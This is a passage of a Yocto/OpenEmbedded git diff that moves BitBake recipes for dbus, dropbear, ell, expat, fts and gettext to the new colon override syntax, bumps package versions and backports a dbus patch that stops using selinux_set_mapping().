EXTRA_OECONF = "--disable-xml-docs \
--disable-doxygen-docs \
- --disable-libaudit \
--enable-largefile \
--with-system-socket=/run/dbus/system_bus_socket \
"
-EXTRA_OECONF_append_class-target = " SYSTEMCTL=${base_bindir}/systemctl"
-EXTRA_OECONF_append_class-native = " --disable-selinux"
+EXTRA_OECONF:append:class-target = " SYSTEMCTL=${base_bindir}/systemctl"
PACKAGECONFIG ??= "${@bb.utils.filter('DISTRO_FEATURES', 'systemd x11', d)} \
user-session \
"
-PACKAGECONFIG_class-native = ""
-PACKAGECONFIG_class-nativesdk = ""
+PACKAGECONFIG:class-native = ""
+PACKAGECONFIG:class-nativesdk = ""
PACKAGECONFIG[systemd] = "--enable-systemd --with-systemdsystemunitdir=${systemd_system_unitdir},--disable-systemd --without-systemdsystemunitdir,systemd"
PACKAGECONFIG[x11] = "--with-x --enable-x11-autolaunch,--without-x --disable-x11-autolaunch, virtual/libx11 libsm"
PACKAGECONFIG[user-session] = "--enable-user-session --with-systemduserunitdir=${systemd_user_unitdir},--disable-user-session"
PACKAGECONFIG[verbose-mode] = "--enable-verbose-mode,,,"
+PACKAGECONFIG[audit] = "--enable-libaudit,--disable-libaudit,audit"
+PACKAGECONFIG[selinux] = "--enable-selinux,--disable-selinux,libselinux"
diff --git a/meta/recipes-core/dbus/dbus/stop_using_selinux_set_mapping.patch b/meta/recipes-core/dbus/dbus/stop_using_selinux_set_mapping.patch
new file mode 100644
index 0000000000..7035098e41
--- /dev/null
+++ b/meta/recipes-core/dbus/dbus/stop_using_selinux_set_mapping.patch
@@ -0,0 +1,148 @@
+From 6072f8b24153d844a3033108a17bcd0c1a967816 Mon Sep 17 00:00:00 2001
+From: Laurent Bigonville <bigon@bigon.be>
+Date: Sat, 3 Mar 2018 11:15:23 +0100
+Subject: [PATCH] Stop using selinux_set_mapping() function
+
+Currently, if the "dbus" security class or the associated AV doesn't
+exist, dbus-daemon fails to initialize and exits immediately. Also the
+security classes or access vector cannot be reordered in the policy.
+This can be a problem for people developing their own policy or trying
+to access a machine where, for some reasons, there is not policy defined
+at all.
+
+The code here copy the behaviour of the selinux_check_access() function.
+We cannot use this function here as it doesn't allow us to define the
+AVC entry reference.
+
+See the discussion at https://marc.info/?l=selinux&m=152163374332372&w=2
+
+Resolves: https://gitlab.freedesktop.org/dbus/dbus/issues/198
+---
+ bus/selinux.c | 75 ++++++++++++++++++++++++++++-----------------------
+ 1 file changed, 42 insertions(+), 33 deletions(-)
+
+
+Upstream-Status: Backport
+Signed-off-by: Nisha.Parrakat <Nisha.Parrakat@kpit.com>
+diff --git a/bus/selinux.c b/bus/selinux.c
+
+--- a/bus/selinux.c 2021-08-11 14:45:59.048513026 +0000
++++ b/bus/selinux.c 2021-08-11 14:57:47.144846966 +0000
+@@ -311,24 +311,6 @@
+ #endif
+ }
+
+-/*
+- * Private Flask definitions; the order of these constants must
+- * exactly match that of the structure array below!
+- */
+-/* security dbus class constants */
+-#define SECCLASS_DBUS 1
+-
+-/* dbus's per access vector constants */
+-#define DBUS__ACQUIRE_SVC 1
+-#define DBUS__SEND_MSG 2
+-
+-#ifdef HAVE_SELINUX
+-static struct security_class_mapping dbus_map[] = {
+- { "dbus", { "acquire_svc", "send_msg", NULL } },
+- { NULL }
+-};
+-#endif /* HAVE_SELINUX */
+-
+ /**
+ * Establish dynamic object class and permission mapping and
+ * initialize the user space access vector cache (AVC) for D-Bus and set up
+@@ -350,13 +332,6 @@
+
+ _dbus_verbose ("SELinux is enabled in this kernel.\n");
+
+- if (selinux_set_mapping (dbus_map) < 0)
+- {
+- _dbus_warn ("Failed to set up security class mapping (selinux_set_mapping():%s).",
+- strerror (errno));
+- return FALSE;
+- }
+-
+ avc_entry_ref_init (&aeref);
+ if (avc_init ("avc", &mem_cb, &log_cb, &thread_cb, &lock_cb) < 0)
+ {
+@@ -421,19 +396,53 @@
+ static dbus_bool_t
+ bus_selinux_check (BusSELinuxID *sender_sid,
+ BusSELinuxID *override_sid,
+- security_class_t target_class,
+- access_vector_t requested,
++ const char *target_class,
++ const char *requested,
+ DBusString *auxdata)
+ {
++ int saved_errno;
++ security_class_t security_class;
++ access_vector_t requested_access;
++
+ if (!selinux_enabled)
+ return TRUE;
+
++ security_class = string_to_security_class (target_class);
++ if (security_class == 0)
++ {
++ saved_errno = errno;
++ log_callback (SELINUX_ERROR, "Unknown class %s", target_class);
++ if (security_deny_unknown () == 0)
++ {
++ return TRUE;
++ }
++
++ _dbus_verbose ("Unknown class %s\n", target_class);
++ errno = saved_errno;
++ return FALSE;
++ }
++
++ requested_access = string_to_av_perm (security_class, requested);
++ if (requested_access == 0)
++ {
++ saved_errno = errno;
++ log_callback (SELINUX_ERROR, "Unknown permission %s for class %s", requested, target_class);
++ if (security_deny_unknown () == 0)
++ {
++ return TRUE;
++ }
++
++ _dbus_verbose ("Unknown permission %s for class %s\n", requested, target_class);
++ errno = saved_errno;
++ return FALSE;
++ }
++
+ /* Make the security check. AVC checks enforcing mode here as well. */
+ if (avc_has_perm (SELINUX_SID_FROM_BUS (sender_sid),
+ override_sid ?
+ SELINUX_SID_FROM_BUS (override_sid) :
+ bus_sid,
+- target_class, requested, &aeref, auxdata) < 0)
++ security_class, requested_access, &aeref, auxdata) < 0)
+ {
+ switch (errno)
+ {
+@@ -500,8 +509,8 @@
+
+ ret = bus_selinux_check (connection_sid,
+ service_sid,
+- SECCLASS_DBUS,
+- DBUS__ACQUIRE_SVC,
++ "dbus",
++ "acquire_svc",
+ &auxdata);
+
+ _dbus_string_free (&auxdata);
+@@ -629,8 +638,8 @@
+
+ ret = bus_selinux_check (sender_sid,
+ recipient_sid,
+- SECCLASS_DBUS,
+- DBUS__SEND_MSG,
++ "dbus",
++ "send_msg",
+ &auxdata);
+
+ _dbus_string_free (&auxdata);
diff --git a/meta/recipes-core/dbus/dbus_1.12.20.bb b/meta/recipes-core/dbus/dbus_1.12.20.bb
index 4040fdb22a..48947209d9 100644
--- a/meta/recipes-core/dbus/dbus_1.12.20.bb
+++ b/meta/recipes-core/dbus/dbus_1.12.20.bb
@@ -6,13 +6,11 @@ SECTION = "base"
require dbus.inc
DEPENDS = "expat virtual/libintl autoconf-archive"
-RDEPENDS_dbus_class-native = ""
-RDEPENDS_dbus_class-nativesdk = ""
PACKAGES += "${@bb.utils.contains('DISTRO_FEATURES', 'ptest', '${PN}-ptest', '', d)}"
-ALLOW_EMPTY_dbus-ptest = "1"
-RDEPENDS_dbus-ptest_class-target = "dbus-test-ptest"
-RDEPENDS_${PN} += "${PN}-common ${PN}-tools"
-RDEPENDS_${PN}_class-native = ""
+ALLOW_EMPTY:dbus-ptest = "1"
+RDEPENDS:dbus-ptest:class-target = "dbus-test-ptest"
+RDEPENDS:${PN} += "${PN}-common ${PN}-tools"
+RDEPENDS:${PN}:class-native = ""
inherit useradd update-rc.d
@@ -24,25 +22,25 @@ python __anonymous() {
d.setVar("INHIBIT_UPDATERCD_BBCLASS", "1")
}
-USERADD_PACKAGES = "${PN}"
-USERADD_PARAM_${PN} = "--system --home ${localstatedir}/lib/dbus \
- --no-create-home --shell /bin/false \
- --user-group messagebus"
+PACKAGES =+ "${PN}-lib ${PN}-common ${PN}-tools"
-CONFFILES_${PN} = "${sysconfdir}/dbus-1/system.conf ${sysconfdir}/dbus-1/session.conf"
+USERADD_PACKAGES = "dbus-common"
+USERADD_PARAM:dbus-common = "--system --home ${localstatedir}/lib/dbus \
+ --no-create-home --shell /bin/false \
+ --user-group messagebus"
-DEBIANNAME_${PN} = "dbus-1"
+CONFFILES:${PN} = "${sysconfdir}/dbus-1/system.conf ${sysconfdir}/dbus-1/session.conf"
-PACKAGES =+ "${PN}-lib ${PN}-common ${PN}-tools"
+DEBIANNAME:${PN} = "dbus-1"
OLDPKGNAME = "dbus-x11"
-OLDPKGNAME_class-nativesdk = ""
+OLDPKGNAME:class-nativesdk = ""
# for compatibility
-RPROVIDES_${PN} = "${OLDPKGNAME}"
-RREPLACES_${PN} += "${OLDPKGNAME}"
+RPROVIDES:${PN} = "${OLDPKGNAME}"
+RREPLACES:${PN} += "${OLDPKGNAME}"
-FILES_${PN} = "${bindir}/dbus-daemon* \
+FILES:${PN} = "${bindir}/dbus-daemon* \
${bindir}/dbus-cleanup-sockets \
${bindir}/dbus-launch \
${bindir}/dbus-run-session \
@@ -53,7 +51,7 @@ FILES_${PN} = "${bindir}/dbus-daemon* \
${systemd_user_unitdir} \
${nonarch_libdir}/tmpfiles.d/dbus.conf \
"
-FILES_${PN}-common = "${sysconfdir}/dbus-1 \
+FILES:${PN}-common = "${sysconfdir}/dbus-1 \
${datadir}/dbus-1/services \
${datadir}/dbus-1/system-services \
${datadir}/dbus-1/session.d \
@@ -66,17 +64,17 @@ FILES_${PN}-common = "${sysconfdir}/dbus-1 \
${systemd_user_unitdir}/sockets.target.wants \
${nonarch_libdir}/sysusers.d/dbus.conf \
"
-FILES_${PN}-tools = "${bindir}/dbus-uuidgen \
+FILES:${PN}-tools = "${bindir}/dbus-uuidgen \
${bindir}/dbus-send \
${bindir}/dbus-monitor \
${bindir}/dbus-update-activation-environment \
"
-FILES_${PN}-lib = "${libdir}/lib*.so.*"
-RRECOMMENDS_${PN}-lib = "${PN}"
-FILES_${PN}-dev += "${libdir}/dbus-1.0/include ${libdir}/cmake/DBus1 ${bindir}/dbus-test-tool ${datadir}/xml/dbus-1"
+FILES:${PN}-lib = "${libdir}/lib*.so.*"
+RRECOMMENDS:${PN}-lib = "${PN}"
+FILES:${PN}-dev += "${libdir}/dbus-1.0/include ${bindir}/dbus-test-tool ${datadir}/xml/dbus-1"
PACKAGE_WRITE_DEPS += "${@bb.utils.contains('DISTRO_FEATURES','systemd sysvinit','systemd-systemctl-native','',d)}"
-pkg_postinst_dbus() {
+pkg_postinst:dbus() {
# If both systemd and sysvinit are enabled, mask the dbus-1 init script
if ${@bb.utils.contains('DISTRO_FEATURES','systemd sysvinit','true','false',d)}; then
if [ -n "$D" ]; then
@@ -132,7 +130,7 @@ do_install() {
rm -rf ${D}${localstatedir}/run
}
-do_install_class-native() {
+do_install:class-native() {
autotools_do_install
# dbus-launch has no X support so lets not install it in case the host
@@ -140,7 +138,7 @@ do_install_class-native() {
rm -f ${D}${bindir}/dbus-launch
}
-do_install_class-nativesdk() {
+do_install:class-nativesdk() {
autotools_do_install
# dbus-launch has no X support so lets not install it in case the host
@@ -152,4 +150,4 @@ do_install_class-nativesdk() {
}
BBCLASSEXTEND = "native nativesdk"
-INSANE_SKIP_${PN}-ptest += "build-deps"
+INSANE_SKIP:${PN}-ptest += "build-deps"
diff --git a/meta/recipes-core/dropbear/dropbear.inc b/meta/recipes-core/dropbear/dropbear.inc
index 080ee26b2e..78f9f9adbd 100644
--- a/meta/recipes-core/dropbear/dropbear.inc
+++ b/meta/recipes-core/dropbear/dropbear.inc
@@ -1,5 +1,6 @@
SUMMARY = "A lightweight SSH and SCP implementation"
HOMEPAGE = "http://matt.ucc.asn.au/dropbear/dropbear.html"
+DESCRIPTION = "Dropbear is a relatively small SSH server and client. It runs on a variety of POSIX-based platforms. Dropbear is open source software, distributed under a MIT-style license. Dropbear is particularly useful for "embedded"-type Linux (or other Unix) systems, such as wireless routers."
SECTION = "console/network"
# some files are from other projects and have others license terms:
@@ -8,8 +9,8 @@ LICENSE = "MIT & BSD-3-Clause & BSD-2-Clause & PD"
LIC_FILES_CHKSUM = "file://LICENSE;md5=25cf44512b7bc8966a48b6b1a9b7605f"
DEPENDS = "zlib virtual/crypt"
-RPROVIDES_${PN} = "ssh sshd"
-RCONFLICTS_${PN} = "openssh-sshd openssh"
+RPROVIDES:${PN} = "ssh sshd"
+RCONFLICTS:${PN} = "openssh-sshd openssh"
DEPENDS += "${@bb.utils.contains('DISTRO_FEATURES', 'pam', 'libpam', '', d)}"
@@ -32,7 +33,7 @@ PAM_PLUGINS = "libpam-runtime \
pam-plugin-permit \
pam-plugin-unix \
"
-RDEPENDS_${PN} += "${@bb.utils.contains('DISTRO_FEATURES', 'pam', '${PAM_PLUGINS}', '', d)}"
+RDEPENDS:${PN} += "${@bb.utils.contains('DISTRO_FEATURES', 'pam', '${PAM_PLUGINS}', '', d)}"
inherit autotools update-rc.d systemd
@@ -41,7 +42,7 @@ CVE_PRODUCT = "dropbear_ssh"
INITSCRIPT_NAME = "dropbear"
INITSCRIPT_PARAMS = "defaults 10"
-SYSTEMD_SERVICE_${PN} = "dropbear.socket"
+SYSTEMD_SERVICE:${PN} = "dropbear.socket"
SBINCOMMANDS = "dropbear dropbearkey dropbearconvert"
BINCOMMANDS = "dbclient ssh scp"
@@ -58,6 +59,9 @@ EXTRA_OECONF += "\
# This is causing [textrel] QA warning
EXTRA_OECONF += "--disable-harden"
+# musl does not implement wtmp/logwtmp APIs
+EXTRA_OECONF:append:libc-musl = " --disable-wtmp --disable-lastlog"
+
do_install() {
install -d ${D}${sysconfdir} \
${D}${sysconfdir}/init.d \
@@ -93,24 +97,24 @@ do_install() {
fi
# deal with systemd unit files
- install -d ${D}${systemd_unitdir}/system
- install -m 0644 ${WORKDIR}/dropbearkey.service ${D}${systemd_unitdir}/system
- install -m 0644 ${WORKDIR}/dropbear@.service ${D}${systemd_unitdir}/system
- install -m 0644 ${WORKDIR}/dropbear.socket ${D}${systemd_unitdir}/system
+ install -d ${D}${systemd_system_unitdir}
+ install -m 0644 ${WORKDIR}/dropbearkey.service ${D}${systemd_system_unitdir}
+ install -m 0644 ${WORKDIR}/dropbear@.service ${D}${systemd_system_unitdir}
+ install -m 0644 ${WORKDIR}/dropbear.socket ${D}${systemd_system_unitdir}
sed -i -e 's,@BASE_BINDIR@,${base_bindir},g' \
-e 's,@BINDIR@,${bindir},g' \
-e 's,@SBINDIR@,${sbindir},g' \
- ${D}${systemd_unitdir}/system/dropbear.socket ${D}${systemd_unitdir}/system/*.service
+ ${D}${systemd_system_unitdir}/dropbear.socket ${D}${systemd_system_unitdir}/*.service
}
inherit update-alternatives
ALTERNATIVE_PRIORITY = "20"
-ALTERNATIVE_${PN} = "${@bb.utils.filter('BINCOMMANDS', 'scp ssh', d)}"
+ALTERNATIVE:${PN} = "${@bb.utils.filter('BINCOMMANDS', 'scp ssh', d)}"
ALTERNATIVE_TARGET = "${sbindir}/dropbearmulti"
-pkg_postrm_append_${PN} () {
+pkg_postrm:${PN} () {
if [ -f "${sysconfdir}/dropbear/dropbear_rsa_host_key" ]; then
rm ${sysconfdir}/dropbear/dropbear_rsa_host_key
fi
@@ -119,4 +123,4 @@ pkg_postrm_append_${PN} () {
fi
}
-FILES_${PN} += "${bindir}"
+FILES:${PN} += "${bindir}"
diff --git a/meta/recipes-core/ell/ell_0.33.bb b/meta/recipes-core/ell/ell_0.33.bb
deleted file mode 100644
index 2fa05104fb..0000000000
--- a/meta/recipes-core/ell/ell_0.33.bb
+++ /dev/null
@@ -1,21 +0,0 @@
-SUMMARY = "Embedded Linux Library"
-DESCRIPTION = "The Embedded Linux Library (ELL) provides core, \
-low-level functionality for system daemons. It typically has no \
-dependencies other than the Linux kernel, C standard library, and \
-libdl (for dynamic linking). While ELL is designed to be efficient \
-and compact enough for use on embedded Linux platforms, it is not \
-limited to resource-constrained systems."
-SECTION = "libs"
-LICENSE = "LGPLv2.1"
-LIC_FILES_CHKSUM = "file://COPYING;md5=fb504b67c50331fc78734fed90fb0e09"
-
-DEPENDS = "dbus"
-
-inherit autotools pkgconfig
-
-SRC_URI = "https://mirrors.edge.kernel.org/pub/linux/libs/${BPN}/${BPN}-${PV}.tar.xz"
-SRC_URI[sha256sum] = "d9e40e641164150394b74b719b9726fc734f24b2cde679cf5f3be6915c34eded"
-
-do_configure_prepend () {
- mkdir -p ${S}/build-aux
-}
diff --git a/meta/recipes-core/ell/ell_0.46.bb b/meta/recipes-core/ell/ell_0.46.bb
new file mode 100644
index 0000000000..4dea9442af
--- /dev/null
+++ b/meta/recipes-core/ell/ell_0.46.bb
@@ -0,0 +1,23 @@
+SUMMARY = "Embedded Linux Library"
+HOMEPAGE = "https://01.org/ell"
+DESCRIPTION = "The Embedded Linux Library (ELL) provides core, \
+low-level functionality for system daemons. It typically has no \
+dependencies other than the Linux kernel, C standard library, and \
+libdl (for dynamic linking). While ELL is designed to be efficient \
+and compact enough for use on embedded Linux platforms, it is not \
+limited to resource-constrained systems."
+SECTION = "libs"
+LICENSE = "LGPLv2.1"
+LIC_FILES_CHKSUM = "file://COPYING;md5=fb504b67c50331fc78734fed90fb0e09"
+
+DEPENDS = "dbus"
+
+inherit autotools pkgconfig
+
+SRC_URI = "https://mirrors.edge.kernel.org/pub/linux/libs/${BPN}/${BPN}-${PV}.tar.xz \
+ "
+SRC_URI[sha256sum] = "f4fc647eff32f622e21f8851ed0c8b7270f4800149c91be601754e22d82cbb4d"
+
+do_configure:prepend () {
+ mkdir -p ${S}/build-aux
+}
diff --git a/meta/recipes-core/expat/expat/0001-Add-output-of-tests-result.patch b/meta/recipes-core/expat/expat/0001-Add-output-of-tests-result.patch
deleted file mode 100644
index c5c18ead74..0000000000
--- a/meta/recipes-core/expat/expat/0001-Add-output-of-tests-result.patch
+++ /dev/null
@@ -1,83 +0,0 @@
-From aa84835a00bfd65e784d58411e76f60658e939dc Mon Sep 17 00:00:00 2001
-From: Oleksandr Popovych <oleksandr.s.popovych@globallogic.com>
-Date: Tue, 18 Feb 2020 19:04:55 +0200
-Subject: [PATCH] Add output of tests result
-
-Added console output of testing results in form 'RESULT: TEST_NAME'.
-
-Changed verbose mode of test application set by '-v' ('--verbose')
-argument to CK_NORMAL.
-Added new supported argument '-vv' ('--extra-verbose') that changes
-verbose mode of test application to CK_VERBOSE. Results of each test
-are shown in output only if this mode is set.
-
-Upstream-Status: Denied
-
-This patch changes potentially deprecated feature that shoud be changed
-in upstream. [https://github.com/libexpat/libexpat/issues/382]
-
-Signed-off-by: Oleksandr Popovych <oleksandr.s.popovych@globallogic.com>
----
- tests/minicheck.c | 10 +++++++++-
- tests/runtests.c | 4 +++-
- 2 files changed, 12 insertions(+), 2 deletions(-)
-
-diff --git a/expat/tests/minicheck.c b/expat/tests/minicheck.c
-index a5a1efb..94fa412 100644
---- a/tests/minicheck.c
-+++ b/tests/minicheck.c
-@@ -164,6 +164,8 @@ srunner_run_all(SRunner *runner, int verbosity) {
- if (tc->setup != NULL) {
- /* setup */
- if (setjmp(env)) {
-+ if (verbosity >= CK_VERBOSE)
-+ printf("SKIP: %s\n", _check_current_function);
- add_failure(runner, verbosity);
- continue;
- }
-@@ -171,6 +173,8 @@ srunner_run_all(SRunner *runner, int verbosity) {
- }
- /* test */
- if (setjmp(env)) {
-+ if (verbosity >= CK_VERBOSE)
-+ printf("FAIL: %s\n", _check_current_function);
- add_failure(runner, verbosity);
- continue;
- }
-@@ -178,12 +182,16 @@ srunner_run_all(SRunner *runner, int verbosity) {
-
- /* teardown */
- if (tc->teardown != NULL) {
-- if (setjmp(env)) {
-+ if (setjmp(env)) {
-+ if (verbosity >= CK_VERBOSE)
-+ printf("PASS: %s\n", _check_current_function);
- add_failure(runner, verbosity);
- continue;
- }
- tc->teardown();
- }
-+ if (verbosity >= CK_VERBOSE)
-+ printf("PASS: %s\n", _check_current_function);
- }
- tc = tc->next_tcase;
- }
-diff --git a/tests/runtests.c b/expat/tests/runtests.c
-index 7791fe0..75724e5 100644
---- a/tests/runtests.c
-+++ b/tests/runtests.c
-@@ -11619,9 +11619,11 @@ main(int argc, char *argv[]) {
- for (i = 1; i < argc; ++i) {
- char *opt = argv[i];
- if (strcmp(opt, "-v") == 0 || strcmp(opt, "--verbose") == 0)
-- verbosity = CK_VERBOSE;
-+ verbosity = CK_NORMAL;
- else if (strcmp(opt, "-q") == 0 || strcmp(opt, "--quiet") == 0)
- verbosity = CK_SILENT;
-+ else if (strcmp(opt, "-vv") == 0 || strcmp(opt, "--extra-verbose") == 0)
-+ verbosity = CK_VERBOSE;
- else {
- fprintf(stderr, "runtests: unknown option '%s'\n", opt);
- return 2;
---
-2.17.1
diff --git a/meta/recipes-core/expat/expat/run-ptest b/meta/recipes-core/expat/expat/run-ptest
index 1b39cec8e5..59d8ab57e3 100644
--- a/meta/recipes-core/expat/expat/run-ptest
+++ b/meta/recipes-core/expat/expat/run-ptest
@@ -18,6 +18,6 @@ TIME=$(which time)
echo "Architecture: $(uname -m)" > ${output}
echo "Image: $(uname -sr)" >> ${output}
-${TIME} -f 'Execution time: %e s' bash -c "testCheck runtests -vv" |& tee -a ${output}
-${TIME} -f 'Execution time: %e s' bash -c "testCheck runtestspp -vv" |& tee -a ${output}
+${TIME} -f 'Execution time: %e s' bash -c "testCheck runtests -v" |& tee -a ${output}
+${TIME} -f 'Execution time: %e s' bash -c "testCheck runtestspp -v" |& tee -a ${output}
echo
diff --git a/meta/recipes-core/expat/expat_2.2.10.bb b/meta/recipes-core/expat/expat_2.2.10.bb
deleted file mode 100644
index fa263775b3..0000000000
--- a/meta/recipes-core/expat/expat_2.2.10.bb
+++ /dev/null
@@ -1,27 +0,0 @@
-SUMMARY = "A stream-oriented XML parser library"
-DESCRIPTION = "Expat is an XML parser library written in C. It is a stream-oriented parser in which an application registers handlers for things the parser might find in the XML document (like start tags)"
-HOMEPAGE = "http://expat.sourceforge.net/"
-SECTION = "libs"
-LICENSE = "MIT"
-
-LIC_FILES_CHKSUM = "file://COPYING;md5=9e2ce3b3c4c0f2670883a23bbd7c37a9"
-
-SRC_URI = "${SOURCEFORGE_MIRROR}/expat/expat-${PV}.tar.bz2 \
- file://libtool-tag.patch \
- file://run-ptest \
- file://0001-Add-output-of-tests-result.patch \
- "
-
-SRC_URI[sha256sum] = "b2c160f1b60e92da69de8e12333096aeb0c3bf692d41c60794de278af72135a5"
-
-EXTRA_OECMAKE_class-native += "-DEXPAT_BUILD_DOCS=OFF"
-
-RDEPENDS_${PN}-ptest += "bash"
-
-inherit cmake lib_package ptest
-
-do_install_ptest_class-target() {
- install -m 755 ${B}/tests/* ${D}${PTEST_PATH}
-}
-
-BBCLASSEXTEND += "native nativesdk"
diff --git a/meta/recipes-core/expat/expat_2.4.1.bb b/meta/recipes-core/expat/expat_2.4.1.bb
new file mode 100644
index 0000000000..14e5aca9e6
--- /dev/null
+++ b/meta/recipes-core/expat/expat_2.4.1.bb
@@ -0,0 +1,32 @@
+SUMMARY = "A stream-oriented XML parser library"
+DESCRIPTION = "Expat is an XML parser library written in C. It is a stream-oriented parser in which an application registers handlers for things the parser might find in the XML document (like start tags)"
+HOMEPAGE = "http://expat.sourceforge.net/"
+SECTION = "libs"
+LICENSE = "MIT"
+
+LIC_FILES_CHKSUM = "file://COPYING;md5=9e2ce3b3c4c0f2670883a23bbd7c37a9"
+
+VERSION_TAG = "${@d.getVar('PV').replace('.', '_')}"
+
+SRC_URI = "https://github.com/libexpat/libexpat/releases/download/R_${VERSION_TAG}/expat-${PV}.tar.bz2 \
+ file://libtool-tag.patch \
+ file://run-ptest \
+ "
+
+UPSTREAM_CHECK_URI = "https://github.com/libexpat/libexpat/releases/"
+
+SRC_URI[sha256sum] = "2f9b6a580b94577b150a7d5617ad4643a4301a6616ff459307df3e225bcfbf40"
+
+EXTRA_OECMAKE:class-native += "-DEXPAT_BUILD_DOCS=OFF"
+
+RDEPENDS:${PN}-ptest += "bash"
+
+inherit cmake lib_package ptest
+
+do_install_ptest:class-target() {
+ install -m 755 ${B}/tests/* ${D}${PTEST_PATH}
+}
+
+BBCLASSEXTEND += "native nativesdk"
+
+CVE_PRODUCT = "expat libexpat"
diff --git a/meta/recipes-core/fts/fts_1.2.7.bb b/meta/recipes-core/fts/fts_1.2.7.bb
index 589ae0e916..d3b0f31eda 100644
--- a/meta/recipes-core/fts/fts_1.2.7.bb
+++ b/meta/recipes-core/fts/fts_1.2.7.bb
@@ -3,13 +3,14 @@
SUMMARY = "Implementation of ftsfor musl libc packages"
HOMEPAGE = "https://github.com/pullmoll/musl-fts"
+DESCRIPTION = "The musl-fts package implements the fts(3) functions fts_open, fts_read, fts_children, fts_set and fts_close, which are missing in musl libc."
LICENSE = "BSD-3-Clause"
LIC_FILES_CHKSUM = "file://COPYING;md5=5ffe358174aad383f1b69ce3b53da982"
SECTION = "libs"
SRCREV = "0bde52df588e8969879a2cae51c3a4774ec62472"
-SRC_URI = "git://github.com/pullmoll/musl-fts.git"
+SRC_URI = "git://github.com/pullmoll/musl-fts.git;branch=master;protocol=https"
S = "${WORKDIR}/git"
diff --git a/meta/recipes-core/gettext/gettext-0.21/0001-libtextstyle-fix-builds-with-automake-1.16.4-and-new.patch b/meta/recipes-core/gettext/gettext-0.21/0001-libtextstyle-fix-builds-with-automake-1.16.4-and-new.patch
new file mode 100644
index 0000000000..727d1db552
--- /dev/null
+++ b/meta/recipes-core/gettext/gettext-0.21/0001-libtextstyle-fix-builds-with-automake-1.16.4-and-new.patch
@@ -0,0 +1,29 @@
+From 2f127ebe425c97b0641fe1bc73247e91e18c2be0 Mon Sep 17 00:00:00 2001
+From: Alexander Kanavin <alex@linutronix.de>
+Date: Thu, 11 Nov 2021 22:06:16 +0100
+Subject: [PATCH] libtextstyle: fix builds with automake 1.16.4 and newer
+
+Upstream-Status: Submitted [http://savannah.gnu.org/bugs/?59929]
+Signed-off-by: Alexander Kanavin <alex@linutronix.de>
+---
+ libtextstyle/configure.ac | 5 ++---
+ 1 file changed, 2 insertions(+), 3 deletions(-)
+
+diff --git a/libtextstyle/configure.ac b/libtextstyle/configure.ac
+index 63b4c2a..cab9025 100644
+--- a/libtextstyle/configure.ac
++++ b/libtextstyle/configure.ac
+@@ -17,11 +17,10 @@ dnl along with this program. If not, see <https://www.gnu.org/licenses/>.
+ dnl Process this file with autoconf to produce a configure script.
+
+ AC_PREREQ([2.63])
+-AC_INIT
++AC_INIT([libtextstyle],
++ [0.20.1])
+ AC_CONFIG_SRCDIR([version.sh])
+ AC_CONFIG_AUX_DIR([build-aux])
+-. $srcdir/version.sh
+-gl_INIT_PACKAGE([libtextstyle], [$VERSION_NUMBER])
+ AM_INIT_AUTOMAKE([1.13 silent-rules])
+ AM_CONFIG_HEADER([config.h])
+
diff --git a/meta/recipes-core/gettext/gettext_0.21.bb b/meta/recipes-core/gettext/gettext_0.21.bb
index bc14867bbb..a0f3402904 100644
--- a/meta/recipes-core/gettext/gettext_0.21.bb
+++ b/meta/recipes-core/gettext/gettext_0.21.bb
@@ -9,10 +9,10 @@ LICENSE = "GPLv3+ & LGPL-2.1+"
LIC_FILES_CHKSUM = "file://COPYING;md5=c678957b0c8e964aa6c70fd77641a71e"
DEPENDS = "gettext-native virtual/libiconv"
-DEPENDS_class-native = "gettext-minimal-native"
+DEPENDS:class-native = "gettext-minimal-native"
PROVIDES = "virtual/libintl virtual/gettext"
-PROVIDES_class-native = "virtual/gettext-native"
-RCONFLICTS_${PN} = "proxy-libintl"
+PROVIDES:class-native = "virtual/gettext-native"
+RCONFLICTS:${PN} = "proxy-libintl"
SRC_URI = "${GNU_MIRROR}/gettext/gettext-${PV}.tar.gz \
file://parallel.patch \
file://use-pkgconfig.patch \
@@ -22,6 +22,7 @@ SRC_URI = "${GNU_MIRROR}/gettext/gettext-${PV}.tar.gz \
file://0001-init-env.in-do-not-add-C-CXX-parameters.patch \
file://mingw.patch \
file://0001-msgmerge-29-Add-executable-file-mode-bits.patch \
+ file://0001-libtextstyle-fix-builds-with-automake-1.16.4-and-new.patch \
"
SRC_URI[sha256sum] = "c77d0da3102aec9c07f43671e60611ebff89a996ef159497ce8e59d075786b12"
@@ -39,7 +40,7 @@ EXTRA_OECONF += "--without-lispdir \
--without-git \
--cache-file=${B}/config.cache \
"
-EXTRA_OECONF_append_class-target = " \
+EXTRA_OECONF:append:class-target = " \
--with-bisonlocaledir=${datadir}/locale \
gt_cv_locale_fr_utf8=fr_FR \
gt_cv_locale_fr=fr_FR.ISO-8859-1 \
@@ -48,8 +49,8 @@ EXTRA_OECONF_append_class-target = " \
"
PACKAGECONFIG ??= "croco glib libxml"
-PACKAGECONFIG_class-native = ""
-PACKAGECONFIG_class-nativesdk = ""
+PACKAGECONFIG:class-native = ""
+PACKAGECONFIG:class-nativesdk = ""
PACKAGECONFIG[croco] = "--without-included-libcroco,--with-included-libcroco,libcroco"
PACKAGECONFIG[glib] = "--without-included-glib,--with-included-glib,glib-2.0"
@@ -62,7 +63,7 @@ PACKAGECONFIG[msgcat-curses] = "--with-libncurses-prefix=${STAGING_LIBDIR}/..,--
acpaths = '-I ${S}/gettext-runtime/m4 \
-I ${S}/gettext-tools/m4'
-do_install_append_libc-musl () {
+do_install:append:libc-musl () {
rm -f ${D}${libdir}/charset.alias
rm -f ${D}${includedir}/libintl.h
rm -f ${D}${libdir}/libintl.la
@@ -79,29 +80,29 @@ do_install_append_libc-musl () {
# 4 KiB /ep93xx/libgcc-s-dev_4.2.2-r2_ep93xx.ipk
PACKAGES =+ "libgettextlib libgettextsrc"
-FILES_libgettextlib = "${libdir}/libgettextlib-*.so*"
-FILES_libgettextsrc = "${libdir}/libgettextsrc-*.so*"
+FILES:libgettextlib = "${libdir}/libgettextlib-*.so*"
+FILES:libgettextsrc = "${libdir}/libgettextsrc-*.so*"
PACKAGES =+ "gettext-runtime gettext-runtime-dev gettext-runtime-doc"
-FILES_${PN} += "${libdir}/${BPN}/*"
+FILES:${PN} += "${libdir}/${BPN}/*"
# The its/Makefile.am has defined:
# itsdir = $(pkgdatadir)$(PACKAGE_SUFFIX)/its
# not itsdir = $(pkgdatadir), so use wildcard to match the version.
-FILES_${PN} += "${datadir}/${BPN}-*/*"
+FILES:${PN} += "${datadir}/${BPN}-*/*"
-FILES_gettext-runtime = "${bindir}/gettext \
+FILES:gettext-runtime = "${bindir}/gettext \
${bindir}/ngettext \
